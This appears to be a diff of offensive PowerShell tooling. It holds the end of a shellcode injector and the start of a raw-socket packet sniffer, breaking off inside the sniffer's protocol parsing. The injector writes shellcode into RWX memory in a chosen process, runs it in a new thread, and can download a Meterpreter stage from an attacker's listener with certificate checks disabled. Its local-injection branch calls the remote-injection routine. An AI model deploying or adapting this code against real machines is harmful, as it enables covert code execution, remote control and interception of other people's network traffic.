||||
|
||||
$CallStub = New-Object Byte[](0)
|
||||
|
||||
if ($IntSizePtr -eq 8)
|
||||
{
|
||||
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
}
|
||||
else
|
||||
{
|
||||
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
}
|
||||
|
||||
Write-Output $CallStub
|
||||
}
|
||||
|
||||
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
|
||||
{
|
||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
Throw "Unable to open a process handle for PID: $ProcessID"
|
||||
}
|
||||
|
||||
$IsWow64 = $false
|
||||
|
||||
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
||||
{
|
||||
# Determine is the process specified is 32 or 64 bit
|
||||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||||
|
||||
#if ((!$IsWow64) -and $PowerShell32bit)
|
||||
#{
|
||||
# Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
|
||||
#}
|
||||
#elseif ($IsWow64) # 32-bit Wow64 process
|
||||
if ($IsWow64) # 32-bit Wow64 process
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Injecting into a Wow64 process.'
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else # 64-bit process
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
}
|
||||
else # 32-bit CPU
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
|
||||
# Reserve and commit enough memory in remote process to hold the shellcode
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteMemAddr)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode into the previously allocated memory
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($IsWow64)
|
||||
{
|
||||
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate inline assembly stub
|
||||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteStubAddr)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Write 32-bit assembly stub to remote process memory space
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Execute shellcode as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch remote thread in PID: $ProcessID"
|
||||
}
|
||||
|
||||
# Close process handle
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
function Local:Inject-LocalShellcode
|
||||
{
|
||||
if ($PowerShell32bit) {
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the shellcode
|
||||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$BaseAddress)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($PowerShell32bit)
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the thread call stub
|
||||
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$CallStubAddress)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub."
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy call stub to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
||||
|
||||
# Launch shellcode in it's own thread
|
||||
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch thread."
|
||||
}
|
||||
|
||||
# Wait for shellcode thread to terminate
|
||||
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
||||
|
||||
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
if ($IsWow64ProcessAddr)
|
||||
{
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
|
||||
$64bitCPU = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$64bitCPU = $false
|
||||
}
|
||||
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
{
|
||||
$PowerShell32bit = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$PowerShell32bit = $false
|
||||
}
|
||||
|
||||
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
|
||||
{
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
|
||||
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to carry out download of Metasploit payload. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
switch ($Payload)
|
||||
{
|
||||
'windows/meterpreter/reverse_http'
|
||||
{
|
||||
$SSL = ''
|
||||
}
|
||||
|
||||
'windows/meterpreter/reverse_https'
|
||||
{
|
||||
$SSL = 's'
|
||||
# Accept invalid certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True}
|
||||
}
|
||||
}
|
||||
|
||||
if ($Legacy)
|
||||
{
|
||||
# Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
} else {
|
||||
|
||||
# Generate a URI that passes the test
|
||||
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_}
|
||||
$SumTest = $False
|
||||
|
||||
while ($SumTest -eq $False)
|
||||
{
|
||||
$GeneratedUri = $CharArray | Get-Random -Count 4
|
||||
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
|
||||
}
|
||||
|
||||
$RequestUri = -join $GeneratedUri
|
||||
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)"
|
||||
}
|
||||
|
||||
$Uri = New-Object Uri($Request)
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
$WebClient.Headers.Add('user-agent', "$UserAgent")
|
||||
|
||||
if ($Proxy)
|
||||
{
|
||||
$WebProxyObject = New-Object System.Net.WebProxy
|
||||
$ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer
|
||||
|
||||
# if there is no proxy set, then continue without it
|
||||
if ($ProxyAddress)
|
||||
{
|
||||
|
||||
$WebProxyObject.Address = $ProxyAddress
|
||||
$WebProxyObject.UseDefaultCredentials = $True
|
||||
$WebClientObject.Proxy = $WebProxyObject
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
|
||||
}
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
|
||||
}
|
||||
elseif ($PSBoundParameters['Shellcode'])
|
||||
{
|
||||
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
|
||||
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
|
||||
[Byte[]] $Shellcode32 = $Shellcode
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
}
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Inject shellcode into the specified process ID
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
||||
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
||||
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
||||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||||
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
||||
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
|
||||
{
|
||||
Inject-RemoteShellcode $ProcessId
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Inject shellcode into the currently running PowerShell process
|
||||
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
||||
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
||||
$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
|
||||
$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])
|
||||
$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
|
||||
$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread
|
||||
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
|
||||
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
||||
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
||||
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PowerShell"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode into the running PowerShell process!" ) )
|
||||
{
|
||||
Inject-RemoteShellcode $ProcessId
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,455 @@
|
|||
function Invoke-Sniffer
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Generates a packet capture into an output file
|
||||
Author: Matthew Graeber (@mattifestation) A .Net based PowerShell packet sniffer ("promiscuous mode" must be supported by hardware/driver)
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-Sniffer writes a capture dump file.
|
||||
This is similar to tcpdump or windump but only ascii txt
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-Sniffer -OutputFile C:\Temp\Output.txt -MaxSize 500MB
|
||||
|
||||
.LINK
|
||||
|
||||
https://raw.githubusercontent.com/sperner/PowerShell/master/Sniffer.ps1
|
||||
|
||||
#>
|
||||
|
||||
param( [String]$LocalIP = "NotSpecified", [String]$ScanIP="all", [String]$Protocol = "all", `
|
||||
[String]$Port="all", [Int]$Seconds = 0, [switch]$ResolveHosts, [switch]$Help, [String]$OutputFile, $MaxSize)
|
||||
|
||||
# Help / display usage
|
||||
if( $Help )
|
||||
{
|
||||
Write-Output "usage: $($MyInvocation.MYCommand) [-OutputFile <String>] [-LocalIP <String>] [-ScanIP <String>] [-Protocol <String>] [-Port <String>] [-Seconds <Int32>] [-ResolveHosts]"
|
||||
exit -1
|
||||
}
|
||||
|
||||
# Params
|
||||
if (!$OutputFile){
|
||||
if (!(Test-Path -Path C:\Temp))
|
||||
{
|
||||
New-Item C:\Temp -type directory
|
||||
}
|
||||
$OutputFile = "C:\Temp\Dump.txt"
|
||||
}
|
||||
|
||||
if (!$MaxSize)
|
||||
{
|
||||
$MaxSize = 100MB
|
||||
}
|
||||
|
||||
$starttime = Get-Date
|
||||
$byteIn = New-Object Byte[] 4 # source
|
||||
$byteOut = New-Object Byte[] 4 # destination
|
||||
$byteData = New-Object Byte[] 4096 # size of data
|
||||
|
||||
$byteIn[0] = 1 # enable promiscuous mode
|
||||
$byteIn[1-3] = 0
|
||||
$byteOut[0-3] = 0
|
||||
|
||||
# TCP Flags
|
||||
$TCPFIN = [Byte]0x01
|
||||
$TCPSYN = [Byte]0x02
|
||||
$TCPRST = [Byte]0x04
|
||||
$TCPPSH = [Byte]0x08
|
||||
$TCPACK = [Byte]0x10
|
||||
$TCPURG = [Byte]0x20
|
||||
|
||||
|
||||
# Convert from big to little endian & convert to uint16
|
||||
Function NetworkToHostUInt16( $address )
|
||||
{
|
||||
[Array]::Reverse( $address )
|
||||
return [BitConverter]::ToUInt16( $address, 0 )
|
||||
}
|
||||
|
||||
# Convert from big to little endian & convert to uint32
|
||||
Function NetworkToHostUInt32( $address )
|
||||
{
|
||||
[Array]::Reverse( $address )
|
||||
return [BitConverter]::ToUInt32( $address, 0 )
|
||||
}
|
||||
|
||||
# Convert from big to little endian & convert to string
|
||||
Function ByteToString( $address )
|
||||
{
|
||||
$AsciiEncoding = New-Object System.Text.ASCIIEncoding
|
||||
return $AsciiEncoding.GetString( $address )
|
||||
}
|
||||
|
||||
|
||||
# Get IP-address <-> hostname
|
||||
$hosts = @{} # array for hostnames
|
||||
Function resolve( $IPAddress )
|
||||
{
|
||||
if( $data = $hosts."$($IPAddress.IPAddressToString)" )
|
||||
{
|
||||
if( $IPAddress.IPAddressToString -eq $data )
|
||||
{
|
||||
return [System.Net.IPAddress]$IPAddress
|
||||
}
|
||||
else
|
||||
{
|
||||
return $data
|
||||
}
|
||||
}
|
||||
else
|
||||
{ # much faster than [System.Net.DNS]::GetHostEntry()
|
||||
$null,$null,$null,$data = nslookup $IPAddress.IPAddressToString 2>$null
|
||||
$data = $data -match "Name:"
|
||||
if( $data -match "Name:" )
|
||||
{
|
||||
$data = $data[0] -replace "Name:\s+",""
|
||||
$hosts."$($IPAddress.IPAddressToString)" = "$data"
|
||||
return $data
|
||||
}
|
||||
else
|
||||
{
|
||||
$hosts."$($IPAddress.IPAddressToString)" = "$($IPAddress.IPAddressToString)"
|
||||
return $IPAddress
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Read "services" file
|
||||
$servicesFilePath = "$env:windir\System32\drivers\etc\services"
|
||||
# <service name> <port number>/<protocol> [aliases...] [#<comment>]
|
||||
$serviceFile = [IO.File]::ReadAllText("$env:windir\System32\drivers\etc\services") -split
|
||||
# filter out all comment lines
|
||||
([Environment]::NewLine) -notlike "#*"
|
||||
|
||||
# Read protocols from services
|
||||
Function getService( $port )
|
||||
{
|
||||
$protocols = foreach( $line in $serviceFile )
|
||||
{
|
||||
# not empty lines
|
||||
if( -not $line ) { continue }
|
||||
|
||||
# split lines into name, port+proto, alias+comment
|
||||
$serviceName, $portAndProtocol, $aliasesAndComments = $line.Split(' ', [StringSplitOptions]'RemoveEmptyEntries')
|
||||
# split port+proto into port, proto
|
||||
$portNumber, $protocolName = $portAndProtocol.Split("/")
|
||||
|
||||
if( $portNumber -eq $port )
|
||||
{
|
||||
return $serviceName
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Get local IP-Address
|
||||
if( $LocalIP -eq "NotSpecified" )
|
||||
{
|
||||
route print 0* |
|
||||
%{
|
||||
if( $_ -match "\s{2,}0\.0\.0\.0" )
|
||||
{
|
||||
$null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",")
|
||||
}
|
||||
}
|
||||
}
|
||||
Write-Output "Local IP: $LocalIP" | Out-File $outputfile -Append
|
||||
Write-Output "ProcessID: $PID" | Out-File $outputfile -Append
|
||||
Write-Output "" | Out-File $outputfile -Append
|
||||
|
||||
|
||||
# Open a raw ip socket
|
||||
$Socket = New-Object System.Net.Sockets.Socket( [Net.Sockets.AddressFamily]::InterNetwork, [Net.Sockets.SocketType]::Raw, [Net.Sockets.ProtocolType]::IP )
|
||||
# Include the ip header
|
||||
$Socket.SetSocketOption( "IP", "HeaderIncluded", $true )
|
||||
# Big packet buffer
|
||||
$Socket.ReceiveBufferSize = 1024000
|
||||
# Create ip endpoint
|
||||
$Endpoint = New-Object System.Net.IPEndpoint( [Net.IPAddress]"$LocalIP", 0 )
|
||||
$Socket.Bind( $Endpoint )
|
||||
# Enable promiscuous mode
|
||||
[void]$Socket.IOControl( [Net.Sockets.IOControlCode]::ReceiveAll, $byteIn, $byteOut )
|
||||
|
||||
Write-Output "Press ESC to stop the packet sniffer ..." | Out-File $outputfile -Append
|
||||
Write-Output "" | Out-File $outputfile -Append
|
||||
$escKey = 27
|
||||
$running = $true
|
||||
|
||||
|
||||
# Start sniffing
|
||||
$packets = @() # array for packets
|
||||
while( $running )
|
||||
{
|
||||
# when a key was pressed...
|
||||
if( $host.ui.RawUi.KeyAvailable )
|
||||
{
|
||||
$key = $host.ui.RawUI.ReadKey( "NoEcho,IncludeKeyUp,IncludeKeyDown" )
|
||||
# if ESC was pressed, stop sniffing
|
||||
if( $key.VirtualKeyCode -eq $ESCkey )
|
||||
{
|
||||
$running = $false
|
||||
}
|
||||
}
|
||||
# timeout after $Seconds...
|
||||
if( $Seconds -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Seconds)) )
|
||||
{
|
||||
exit
|
||||
}
|
||||
# no packets in card buffer...
|
||||
if( -not $Socket.Available )
|
||||
{
|
||||
start-sleep -milliseconds 300
|
||||
continue
|
||||
}
|
||||
|
||||
# receive data
|
||||
$rData = $Socket.Receive( $byteData, 0, $byteData.length, [Net.Sockets.SocketFlags]::None )
|
||||
# decode the packet
|
||||
$MemoryStream = New-Object System.IO.MemoryStream( $byteData, 0, $rData )
|
||||
$BinaryReader = New-Object System.IO.BinaryReader( $MemoryStream )
|
||||
|
||||
# b1 - version & header length
|
||||
$VerHL = $BinaryReader.ReadByte( )
|
||||
# b2 - type of service
|
||||
$TOS= $BinaryReader.ReadByte( )
|
||||
# b3,4 - total length
|
||||
$Length = NetworkToHostUInt16 $BinaryReader.ReadBytes( 2 )
|
||||
# b5,6 - identification
|
||||
$Ident = NetworkToHostUInt16 $BinaryReader.ReadBytes( 2 )
|
||||
# b7,8 - flags & offset
|
||||
$FlagsOff = NetworkToHostUInt16 $BinaryReader.ReadBytes( 2 )
|
||||
# b9 - time to live
|
||||
$TTL = $BinaryReader.ReadByte( )
|
||||
# b10 - protocol
|
||||
$ProtocolNumber = $BinaryReader.ReadByte( )
|
||||
# b11,12 - header checksum
|
||||
$Checksum = [Net.IPAddress]::NetworkToHostOrder( $BinaryReader.ReadInt16() )
|
||||
# b13-16 - source ip address
|
||||
$SourceIP = $BinaryReader.ReadUInt32( )
|
||||
$SourceIP = [System.Net.IPAddress]$SourceIP
|
||||
# b17-20 - destination ip address
|
||||
$DestinationIP = $BinaryReader.ReadUInt32( )
|
||||
$DestinationIP = [System.Net.IPAddress]$DestinationIP
|
||||
|
||||
# get ip version (bits 0-3)
|
||||
$ipVersion = [int]"0x$(('{0:X}' -f $VerHL)[0])"
|
||||
# get header length (bits 4-7)
|
||||
$HeaderLength = [int]"0x$(('{0:X}' -f $VerHL)[1])" * 4
|
||||
|
||||
# header includes Options...
|
||||
if($HeaderLength -gt 20)
|
||||
{
|
||||
[void]$BinaryReader.ReadBytes( $HeaderLength - 20 ) # should probably do something with this later
|
||||
}
|
||||
|
||||
$Data = ""
|
||||
$TCPFlagsString = @() # make this an array
|
||||
$TCPWindow = ""
|
||||
$SequenceNumber = ""
|
||||
|
||||
switch( $ProtocolNumber )
|
||||
{
|
||||
1 { # ICMP
|
||||
$ProtocolDesc = "ICMP"
|
||||
$sourcePort = [uint16]0
|
||||
$destPort = [uint16]0
|
||||
$ICMPType = $BinaryReader.ReadByte()
|
||||
$ICMPCode = $BinaryReader.ReadByte()
|
||||
switch( $ICMPType )
|
||||
{
|
||||
0 { $ICMPTypeDesc = "Echo reply"; break }
|
||||
3 { $ICMPTypeDesc = "Destination unreachable"
|
||||
switch( $ICMPCode )
|
||||
{
|
||||
0 { $ICMPCodeDesc = "Network not reachable"; break }
|
||||
1 { $ICMPCodeDesc = "Host not reachable"; break }
|
||||
2 { $ICMPCodeDesc = "Protocol not reachable"; break }
|
||||
3 { $ICMPCodeDesc = "Port not reachable"; break }
|
||||
4 { $ICMPCodeDesc = "Fragmentation needed"; break }
|
||||
5 { $ICMPCodeDesc = "Route not possible"; break }
|
||||
13 { $ICMPCodeDesc = "Administratively not possible"; break }
|
||||
default { $ICMPCodeDesc = "Other ($_)" }
|
||||
}
|
||||
break
|
||||
}
|
||||
4 { $ICMPTypeDesc = "Source quench"; break }
|
||||
5 { $ICMPTypeDesc = "Redirect"; break }
|
||||
8 { $ICMPTypeDesc = "Echo request"; break }
|
||||
9 { $ICMPTypeDesc = "Router advertisement"; break }
|
||||
10 { $ICMPTypeDesc = "Router solicitation"; break }
|
||||
11 { $ICMPTypeDesc = "Time exceeded"
|
||||
switch( $ICMPCode )
|
||||
{
|
||||
0 { $ICMPCodeDesc = "TTL exceeded"; break }
|
||||
1 { $ICMPCodeDesc = "While fragmenting exceeded"; break }
|
||||
default { $ICMPCodeDesc = "Other ($_)" }
|
||||
}
|
||||
break
|
||||
}
|
||||
12 { $ICMPTypeDesc = "Parameter problem"; break }
|
||||
13 { $ICMPTypeDesc = "Timestamp"; break }
|
||||
14 { $ICMPTypeDesc = "Timestamp reply"; break }
|
||||
15 { $ICMPTypeDesc = "Information request"; break }
|
||||
16 { $ICMPTypeDesc = "Information reply"; break }
|
||||
17 { $ICMPTypeDesc = "Address mask request"; break }
|
||||
18 { $ICMPTypeDesc = "Address mask reply"; break }
|
||||
30 { $ICMPTypeDesc = "Traceroute"; break }
|
||||
31 { $ICMPTypeDesc = "Datagram conversion error"; break }
|
||||
32 { $ICMPTypeDesc = "Mobile host redirect"; break }
|
||||
33 { $ICMPTypeDesc = "Where-are-you"; break }
|
||||
34 { $ICMPTypeDesc = "I-am-here"; break }
|
||||
35 { $ICMPTypeDesc = "Mobile registration request"; break }
|
||||
36 { $ICMPTypeDesc = "Mobile registration reply"; break }
|
||||
37 { $ICMPTypeDesc = "Domain name request"; break }
|
||||
38 { $ICMPTypeDesc = "Domain name reply"; break }
|
||||
39 { $ICMPTypeDesc = "SKIP"; break }
|
||||
40 { $ICMPTypeDesc = "Photuris"; break }
|
||||
41 { $ICMPTypeDesc = "Experimental mobility protocol"; break }
|
||||
default { $ICMPTypeDesc = "Other ($_)" }
|
||||
}
|
||||
$ICMPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16())
|
||||
$Data = ByteToString $BinaryReader.ReadBytes($Length - ($HeaderLength - 32))
|
||||
break
|
||||
}
|
||||
2 { # IGMP
|
||||
